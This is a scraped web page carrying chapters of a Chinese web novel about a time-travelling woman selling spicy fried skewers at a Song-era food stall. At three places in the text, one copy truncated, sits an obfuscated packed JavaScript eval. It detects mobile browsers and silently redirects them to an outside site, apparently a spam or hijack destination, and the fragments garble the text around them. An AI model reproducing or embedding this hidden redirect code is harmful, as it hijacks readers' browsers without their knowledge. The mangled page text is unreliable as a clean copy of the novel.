;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148581|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“滋啦，滋啦——”的声音从酱料盆里炸响，混合着众人从未闻过的异香瞬间绽放而出。 “这…这是什么？” “好香啊！” “这东西红彤彤的，好像从未见过呢！” “齐小娘子，你这又做的什么新鲜玩意儿？” 齐心手上的动作终于停下，烫过的秘制辣椒酱料已然全好了，她一边笑着与人解释，一边从蔬菜串儿堆里挑了几串，两串韭菜两串藕片，那藕片在糊碗里滚上一圈，立马扔进油锅，韭菜则是齐心捏着签儿，先将韭菜头炸透再整根扔下，这样既能保证菜根熟了，菜叶也不会完全失了水分糊掉。 只要时间把握得好，韭菜也还能保持脆嫩的口感。 这时机，已经在齐心这些日子的反复试验中总结了经验，今日端出来的几样菜品，都是她试熟了的。 锅里噼里啪啦着，好不热闹。 “这是我这炸串的秘制酱料，炸过的肉和菜裹上这满满的酱料，保管你们吃了一串还想再来一串。” 说完将锅里两串炸得正好的韭菜和藕片捡出来，就着酱料盆，刷上两层辣酱，把菜都从竹签上脱出，盛在垫了油纸的陶盘里，再抽上几根全新的竹签放在盘边，把炸串递到众人面前。 “平日爱吃姜辛味儿的，务必尝尝这个。” 免费的试吃，谁人能不心动，更别说眼看着从厚厚的油锅里捞出来的菜，光是这上头的油花就足够吸引人了，平日他们哪里舍得用这样多的油来做吃食？ 摊前几位食客纷纷伸了手，一人串了一口尝得新奇。 “嘶——好痛！” “这韭菜怎么还会咬人？” “别说，这味道跟姜辛味儿很像，却又不太一样，这可比姜好吃多了！” “这…这东西怎么卖！” 几人都只分得了一口，有那受不了辣味儿的呼哧呼哧地往舌头上扇风，也有那品出这东西好吃的眼睛都照出两条光来。 “今日炸串准备了韭菜、黄花菜、紫茄、藕、豆腐、淀粉肠、鸡胗和猪肉排。” 齐心满意地看着众人来了兴趣，指着摊位上的菜品逐一介绍着：“素菜都是一文一串，淀粉肠和鸡胗两文一串，这肉排费时费力所以贵些，三文一串。” 有人惊叹：“这么便宜！” 也有人勾着手指头算了笔帐：“这素菜自取买也不过三五文一斤，可这一串便要一文，一斤都不知能做多少串儿了……” 旁边有人推他：“那能拿来比较吗，也不看看这用了多少油多少料？一看你就不识货。” 还有人已经掏出钱袋子在点自己能吃几串。 齐心都看在眼里听在耳中。 “各位叔伯郎君都是常在我这儿吃打卤面的，也知道我性格，今日这炸串的口味，我敢保证，不仅是原武县，便是整个郑州都吃不着。” 在这里，辣椒这一剂不曾现身的调味，别说是郑州了，便是去了汴京，她也保管他们吃不着。 且光是油这一用量，便去了成本的大半，再要淘洗制作穿串儿，中间费时费力，齐心对自己的定价实在问心无愧。 更何况买卖本就是你情我愿的事儿，若是嫌贵不买便是，她也绝不会贬低强求。 “小娘子，每个菜都各给我来上五串。” 角落里一道弱弱的女声在短暂的沉默间隙响起。 众人齐齐回头，齐心也循声看去。 看衣着打扮像是哪家的女使出来采买了，臂弯还挽着一个竹篮，里头盛了不少东西。 方才计较这定价的人这会儿脸色有些戚戚，人一来便要了几十串，自己却还在纠结一串一两文的价钱。 人比人，气死人。 那人掉头便走。 齐心按着那女使的要求拣了一大盘，分批往油锅里下炸串儿： “这里一共是六十文。因着炸串是今日新上的，前十位我都给打八折，您只需给我四十八文就是，多谢姑娘惠顾。” 女使借着众人默默给她让出的路，悠悠走到食摊儿前： “摊主这儿可是还有泡萝卜卖？麻烦给我来上一大罐，我家主子也爱吃酸。” 正照顾着油锅里炸串熟度的齐心，闻言抬起头，仔细地看了一眼女使的模样。 这张脸，那日去衢家似乎也没见过啊？ 27. 第 27 章 “姑娘怎知道泡萝卜？” “我家主子在彭大娘子那里尝来十分喜爱，得了指引，这才寻到姑娘这儿来。我家主子还说不论姑娘这有什么新鲜玩意儿，都要买回去尝尝鲜。” 果然是彭娘子介绍来的客人，估摸着也是哪大户家的大娘子，平日关系好走得近，这才给推荐一番。 齐心说不出的高兴，这种被人认可的成就感，实在太让人着迷了。 “原来如此，我这儿确实有泡萝卜，不过不是卖的，只是做来自己家中吃的，若你家大娘子喜欢，我明日再带一罐儿过来，姑娘可明日再来寻我。” 那女使正盯着油锅里咕咕冒泡的炸串出神，听了她的话有片刻的怔愣，她本以为是不是自己说错了什么，又见女使点了头： “那你可一定不能忘了，明日给我带个……十斤就够。” 齐心扯了扯嘴角，笑容有点勉强了： “这……这确实没那么多。” 这还是头一次做的泡萝卜，当时怕口味不好，做得本就不多，那日分了一大罐给彭娘子已是尽力匀出来的。 这东西放在家里，段婆婆和阿娘都爱吃，每日光是下饭就要消耗不少，这些日子过去，家里那泡菜坛子已不剩多少了，十斤是真凑不上。 看来是时候再泡一坛心的了。 那女使很是惋惜：“那…五斤？五斤总有了吧？” 定了定神，齐心方道：“若姑娘要的量多，我可以重新开坛给你泡一大坛，便是几十斤也能装得下，不过泡上也至少要过五六日才能吃。” “那…那我得回去问问我家主子。”女使思绪转了一圈儿，“明日也还是麻烦小娘子先给我来上一份吧，少一点就少一点吧，我家主子就等这个解馋呢！” “好嘞，您明日还来找我就成！” 一会儿功夫，那四十串炸串被刷满了浓浓的辣酱，再用几张油纸仔细包好放进了女使的竹篮。 “这炸串儿还是趁热好吃，姑娘一定要尽快食用。” 女使满载而归，转身走远，自己与自己嘟囔着： “什么大娘子，分明是个馋嘴哥儿。不过这个叫炸串的东西可真香啊……” 方才试吃过的几位食客到底没抗住炸串的诱惑，除了刚走掉的那位外，其余全都重新在食摊儿前排起了队伍。 兜里没那么宽裕的只来上两串素菜解解馋，有那豪气好吃的将肉串都点了一份尝尝鲜。 “这淀粉肠的名字可真新鲜，是小娘子自己起的？” 齐心笑笑：“算是吧。” 她勉强冒领下，毕竟也不好与人说是未来世界的人取的吧？ “这东西炸过后竟像是开了花一般，一层一叠，外壳又香又脆，内里是软绵的，有这酱料裹着，真是绝了！只恨不能多吃几串。” 淀粉肠在炸串界的地位自然无需多言。 这还是她按着论坛里的菜谱自制的淀粉肠，虽总是觉得与她记忆中后世的淀粉肠有些许差距，但她已算是努力复刻过了，见食客吃得原地跺脚，她就已满意了。 她笑着招呼：“这淀粉肠都是我家自制的，耗时耗力份量不多，郎君若想吃还要赶早，过两日怕是就要换别的菜了。” “什么？竟不是每日都有？那快快，快给我再来一串，我今日便干脆吃个够！” 炸串的香味儿很快便飘远，不少路人被吸引到摊位前，看着前头一个个吃得龇牙咧嘴大呼好吃，他们便也忍不住尝尝鲜，今日食摊儿前者热闹劲儿，竟是比打卤面刚出摊那会儿还要厉害。 打量今日是要多摆上几个时辰的，就炸串这味道齐心完全不愁卖不出去，是以准备了近两百串，三个肉串处理麻烦成本更高，所以准备的数量占比并不算多。 她盘算着这肉源往后不能只靠自己上菜铺购入了，一则那些菜铺子本也是要靠这个挣钱的，中间转了几道手，到了她这儿自然要贵些，二则用量太大，她每日光是备菜出摊儿就要花费不少时间，再去一家家寻着买菜实在浪费功夫。 若能找到直供的货源，不仅压下了成本，也更能稳定数量和品质。 愁啊，这货源该去哪儿找呢？ … 那买了几十串炸串的女使提溜着竹篮拐进了衢家侧门，寻到正院安置的客房外，撒开嗓子大喊一声： “三哥儿，您要的泡萝卜没了！” “什么？！” 客房里叮咣响了一阵儿，就见一道青色的身影旋风般地跑了出来，停在女使面前一脸的遗憾和埋怨： “怎会没有呢？彭大娘子分明说了就是那摊主做的啊？茯苓，你莫不是没找对地方？” 被称作茯苓的女使受了一顿劈头盖脸的质疑，满肚子不痛快，插着腰就与主子呛上声： “三哥儿，您当我是傻的不成？原武县就那一家卖打卤面的摊子，随便问问就能寻着了。还有啊，人那泡萝卜就不是用来卖的，您非要要，我才厚着脸皮好言求了许久，那小娘子才说是明日再给我带一小罐出来。您若是想要更多，至少还得再等上六七日。” “这么久啊…可咱们在原武最多不过再待三两日，那些铺子大哥都巡得差不多了。” “那我可做不了主了，您自个儿决定吧。” “嘿，你倒是高高挂起了，平日里偷吃可没少了你的份儿！” 茯苓立马收了脾气，献宝似地将竹篮里打猎来的好货递到三哥儿面前，挤眉弄眼地： “哥儿，您猜这是什么？” 蒲述看着那竹篮顿时来了兴趣，那一大包用油纸包得严严实实的东西占了竹篮几乎全部的空间，他的眼睛想不在意都难。那油纸旁边放着的几样先前还想吃的糕点，这会儿已黯然失色。 “走走走，进屋吃，一会儿再叫大哥瞧见了，又要骂我躲懒。” “我已经瞧见了。” 蒲述招呼着茯苓刚要转身进屋，身后就传来阴恻恻的声音，这熟悉的声线在他听来与阎王索命无异，脚下不停反倒走得更快了，径直就要往屋里溜。 可身后的人速度更快，三两步就赶上，一把抓住了他的后领，拽着人一道就进去了。 大哥蒲阐刚坐下就开始了他的日常说教，一双浓眉紧皱： “父亲母亲叫我带着你来原武巡产业，是为了让你好好学好好看，不是叫你来偷懒的。今日带你出去，结果你又半途偷溜，你这样何时才能独当一面，给父母分忧，咱们家现在……” 茯苓默默听着，这一幕她早就习以为常，任由兄弟俩说着话，她将那竹篮子放在桌上，将那一大包炸串拿出来小心揭开油纸。 她还牢记着那摊主小娘子说的话呢。 这东西得趁热吃！ “还有你茯苓，母亲将你派到三弟身边，不是叫你来同流合污的，叫你好好盯着他，你如今倒……” 蒲阐矛头忽而又转到茯苓身上，可话说到一半，人就被桌上的香味儿勾得幌神了片刻，再看那主仆两人的神色，馋得足像是上辈子的饿死鬼。 这一打断，他有些找不到先前训责的状态，只得顺着两人的视线去看那一堆吃食： “咳，这是什么，闻着好像不错。” 蒲述自知逃过一劫，想要夸茯苓这一笔干得漂亮，可碍于大哥在场不好直言，只得偷偷在桌面下给她比了个大拇指。 茯苓早就馋得不行了，赶忙解释： “这就是那做泡萝卜的摊主小娘子新做的吃食，叫做炸串的，有的菜是下油锅生炸，有的我看她裹了糊再炸，再有这几个肉菜看着也新奇，我便都要了。最后炸好起锅，见她在炸串上刷了她秘制的酱料，那香味儿登时便直冲天上去了。我这一路带回来，那香味儿直往人鼻子里钻，我可是忍了又忍，才勉强忍住没提前偷吃的。” 她说完将那炸串往两位哥儿面前又推了推：“不过这会儿凉了不少，怕是没刚出锅好吃了。” 蒲述伸手就要去拿，后知后觉想起旁边还有一尊神，那手拐了个弯，就将串儿递到蒲阐面前去了，赔着笑心里却痛到滴血。 拢共也没多少，还得给大哥分。 蒲阐只觑了一眼，就从他脸上瞧见了抠搜的窝囊，本想说不吃的话掉了个个儿，变成了： “嗯，那我尝尝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157883|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茯苓在一旁看得也颇为心疼，今日这炸串每样要了五串，便是想着三哥儿吃四串她也还能各得一串，可谁能想还在外头巡铺子的大哥儿那么快就杀回来了。 她今日怕是吃不上了。 只能眼巴巴看着，欲哭无泪…… 蒲述递给自家大哥的正是一块肉排，那肉排是稍厚一点的薄片，约莫巴掌大小，外头应是裹了糊。 “咔呲——” 蒲阐一口咬下，那肉排便响了一声，外头被炸得金黄酥脆的脆壳被咬破，露出截面来，里头是诚意十足的猪肉，他嚼了嚼，那裹满了酱料的外壳瞬间与肉排内里混在一起，肉香味儿和香料味儿相得益彰完美融合。 “确实好吃，这是什么味道，从前竟从未吃过。” 难得见大哥对吃食这样夸赞，蒲述肚子里馋虫难耐，上手又寻了一块儿肉排送进嘴里。 “哇！真的好脆！”他迫不及待嚼开，细细品味这完全新奇的口味，“这味道与姜辛味儿实在相似，但又全然不同，里头似乎还掺了不少配料，我还吃着了芝麻香，酱味儿与这奇味儿放在一起偏偏这样契合，好吃，实在太好吃！茯苓，这东西贵吗？” 终于被他想起的茯苓巴巴地看着桌上的炸串，心不在焉地答话： “不贵，简直是太便宜了。”她指着那些炸串，“素菜不过一文一串，这肉排三文，剩下的鸡胗和叫什么肠的只要两文。” 蒲述大吃一惊：“这也太便宜了！” 一串肉排没几口就被他消灭干净，又掏出韭菜豆腐给三人各拿上一串。 “我再尝尝素菜。”说着顺着竹签咬下半根韭菜，“嗯嗯嗯——！这韭香味儿没有被酱料味儿掩盖，反倒是又添了一道香料，菜头也还是脆嫩的，就是可惜有些凉了。” 茯苓叫这外脆里嫩的豆腐块儿，反应迅速： “那咱要不明日直接去摊子上吃吧？刚出锅的闻着比现在可香多了。” “好啊！咱们明……”蒲述说着偷瞧了一眼大哥，脱口而出的话生生憋了回去。 谁料蒲阐一句：“嗯，明日过去看看。” 他刚想高兴，又听大哥下一句：“你不许去，明日与衣料行的掌柜说好了，你去查账，查不完明日不许吃饭。” 可恶！ 他的热乎炸串！ 可恶！ 他的今日炸串！ 茯苓带回来的炸串蒲阐吃了近一半，临走前还要落下一句： “还不错，不过也没你说的那么夸张的好吃。” 蒲述等人走远愤而捶桌，不好吃你还吃那么多作甚！ 只落得自己对着拳头呼呼吹气的结果。 他转头看着茯苓，撇着嘴一副可怜样儿： “好茯苓，今日的炸串我就不分给你了吧？” 人话否？ 不多时，茯苓叼着一串淀粉肠，手里捏着好几串素菜，就坐在正院回廊下吃得喷香。 见彭娘子路过忙起身见礼，彭娘子本没在意，打眼瞧见茯苓手中的东西瞬间生了兴趣，她方才远远便闻见香味儿了，这会儿到了近前，这才能确认是茯苓手中的东西传出。 “茯苓姑娘这是吃的什么？” 茯苓忙将嘴里的东西咽下，恋恋不舍地给彭娘子递去一串：“这是您说的那家食摊儿今日新做的玩意儿，叫炸串的，您尝尝？” 彭娘子眼看她吃得香，本也有意尝尝看，可见人不过递出一串便眼巴巴的模样，也不好夺人所爱，只得借口推辞：“这会儿还不饿，茯苓姑娘自吃吧！” 等回了后院儿，彭娘子才忙吩咐身边的女使： “快快快，快去齐姑娘那儿多买些那东西，这几日蒲家暂住，都不好叫她上门做吃食，我儿那身子日渐消瘦，可急死人了。” 女使得了令匆匆往外赶，生怕误了功夫再买不到了，后头彭娘子还在千叮咛万嘱咐： “可一定要多买些啊！” “这蒲家兄弟动作可真快，竟然这么快就发现了我的宝藏小摊儿，还好这几日没叫人上门做饭，不然怕是要连齐姑娘都给挖了去。” 28. 第 28 章 齐心预料到炸串会比打卤面更受欢迎，可眼前这画面着实超乎了她的想象。 “摊主快别发愣了，快动手炸串啊！” 她听着队伍前头几人的催促，忙恢复了动作，只眼睛还在往队伍末端瞥。 那哪儿是什么末端，简直遥遥不可见尽头。 她这摊子本就在团街末尾，这一支队伍已经长到甩了个弯儿，最末尾的人已不知站到隔壁街的什么位置去了。 这若放在后世，那简直可以用火爆来形容。 “韭菜两串，藕片一串，淀粉肠和肉排各一串。” “素菜各来两串，淀粉肠我要五串！” “肉串各来两串，素菜要黄花菜紫茄和豆腐。” “……” 齐心一个头两个大，手里几乎要生起火来： “别急别急，大家排好队，我做完你的做你的，都有都有！” —— 隔壁县学。 “哎，听说了吗？团街尾那家打卤面又卖上新鲜玩意儿了。” “什么打卤面？” “你可真是两耳不闻窗外事，那打卤面咸香诱人，我午时总要去吃上一碗这肚里才踏实，方才隔壁院儿的朋友跑来同我说我才知道，那摊子今日上了那叫什么炸串的，现下摊位前恐怕都排了几十号人了！” “炸串是什么东西？不过一个小食摊儿而已，能有多好吃？怕是你朋友太夸张了吧？” “嘿你这人，局限了不是？走走走，咱现在去排队还来得及，定要好好见识见识那摊主吃食的威力！” “一会儿可是林夫子的课，若被发现逃课可是要挨板子的！” “一会儿就回来了！” 说着，出主意那人拉着另一个就往团街跑，等到了县学门口，就发现不止他们两人，至少还有七八个消息灵通的，都是要往团街去的。 衢宁守在门口看着一行人一溜烟跑出去，拦都拦不住： “林夫子一会儿就到了，你们做什么去？” 跑在最后的唐子安边跑边回头答： “团街那打卤面摊又出新东西了，听说好吃得不行，排了不少人呢，我们就是去尝尝！” 衢宁听得皱眉，不好好上课，净知道跑出去瞎玩，一会儿林夫子若发现少了人，定没他们好果子吃。 不过……齐姑娘那儿出新东西了？ 衢宁脚动得比脑子快，片刻后就出现在了门房，将正在休息的另一看守薅了起来：“快别睡了，替我先去门口看一会儿。” 那位迷迷糊糊的，被推着站到了门口才想起问衢宁出了什么事儿。 “没什么事儿，我着急去吃点东西。” 那看守抬头看了看天色，又看了看一溜烟就消失不见的背影，打了个巨大的哈欠： “这离饭点还早着呢吧？平日也没见他吃饭这么积极啊……” 等衢宁到了团街，果然看见队伍末尾刚从县学跑来的唐子安一行人，他们前头果然乌泱泱的排了好长的队伍，心里不免生出些犹豫。 唐子安是个眼尖的，早就瞧见了与他们前后脚到的衢宁，可见他迟迟不往队伍这边走，忙挥手招呼： “衢大哥，快来快来！” 这下想后悔也难了。 衢宁刚一走近，那唐子安的话匣子便打开了： “我听朋友说摊主今日新上的这炸串儿，可是从未吃过的新奇味道，难怪今日排了这么多人呢！其实那打卤面也好吃，只是这街上好吃的汤饼铺子实在太多，那打卤面来来回回不过三个口味，吃多了便也腻了，只能隔上几日再去吃一碗解解馋。我本以为他家要再研究研究别的口味，谁能想竟直接上了个完全不同的东西，今日我一定要试个爽，看看到底是不是那朋友说的那般好吃。” 花太多太密，衢宁听到一半就开始犯头晕，但还是总结出了唐子安话里的重点。 齐姑娘的摊子，新出的炸串，好吃。 人既然都到了，那就排着吧，他正好试试，若好吃，给娘和二弟带些回去也好。 “宁哥儿？您也来买炸串？” 身边响起熟悉的声音，衢宁回头一看，竟是娘身边的女使。 “娘也听说炸串了？” “是啊，见蒲家女使吃得极香，大娘子便赶紧派我出来了，二哥儿又好几日没能好好吃下东西，大娘子都急坏了。哥儿您要不先回去吧，我在这儿排队买就是了。” 衢宁默了默，竟没应下： “你先回去吧，我正想着多买些带回去的。” 女使张了张嘴，一时不知该说些什么，只心里觉得奇怪，宁哥儿何时愿意凑这种热闹了？ 可知他向来不是随口说说玩笑的，便也只好掉头回府。 “他真在那儿排队买炸串了？” 彭娘子听得女使的禀告，也生出满肚子疑问来。 那炸串的魅力真就这么大？ 连宁哥儿也破天荒地愿意去排队买来吃？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173343|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 齐心忙得脚不沾地，甚至没工夫去看面前食客的模样，若非段婆婆在一旁提醒，她是全然没看见衢宁也来了的。 看向衢宁，脸上的笑容略带歉意： “抱歉抱歉，忙起来也顾不上看是谁了！小郎君想吃点什么？” 衢宁早就闻见炸串的香味儿，排着队时从他身旁不断走过的食客，手里至少都捏着三五串，吃得那叫一个香，想着家里好些口人，直接狮子大开口： “没事儿，你自忙你的，我…每个菜各来上十串就行。” 这就难办了，齐心看了看今日备的菜，已卖出去大半，那肉串明显比素的好卖，这会儿都只不过剩了几串，方才有人一下子就买去了十几串，这数量便均不下来了，看来明日起这肉串，特别是淀粉肠和肉排，也得限量才行。 不过今日从头便没立这规矩，这会儿再说便不合时宜了，只得带着略歉意的笑容： “这肉串已不够十串了，要不多拿些素菜？素菜也很好吃的。” “好，你看着拿就行。” 齐心一噎，却不好反驳。 其实这卖吃食最怕的就是叫她看着办，这多了怕被骂想多挣钱，这少了又怕客人不够吃，可眼前这位可是彭娘子的儿子，县令家的公子，人说让她看着办，她就只能看着办。 硬着头皮加了几串素菜补足那肉串的量便罢。 再歪过头，冲着后头排队的食客喊上一声： “抱歉了各位，今日的肉串儿已售空，若不爱吃素串的可明日再来！” 那队伍后头登时骚动起来。 “啊？那不是淀粉肠也没了？” “我的肉排啊！可恶！” 齐心这一嗓子，倒确实劝退了一小撮人，可多的是没尝过味儿的，就算是素菜也想尝尝这摊子到底凭什么能排这么多人。 齐心负责炸串的火候和酱料，段婆婆则负责包油纸收钱，两人就算分工也累得够呛。 小食摊儿果然还是太过局限，这些日子已攒了些钱，得寻个日子去转悠转悠木工，将铺子置办起来才行了，若是有富余，再请个伙计最好。 衢宁抱着那一大包炸串离开队伍，回头看了一眼齐心，她果然没功夫同他多说什么，鼻尖被炸串香味儿霸占得满满的，也顾不上再想些有的没的，先抽出一串偷尝了一口。 “嘶——” 要不再吃一串吧？ 买了这么多，娘他们应该看不出来？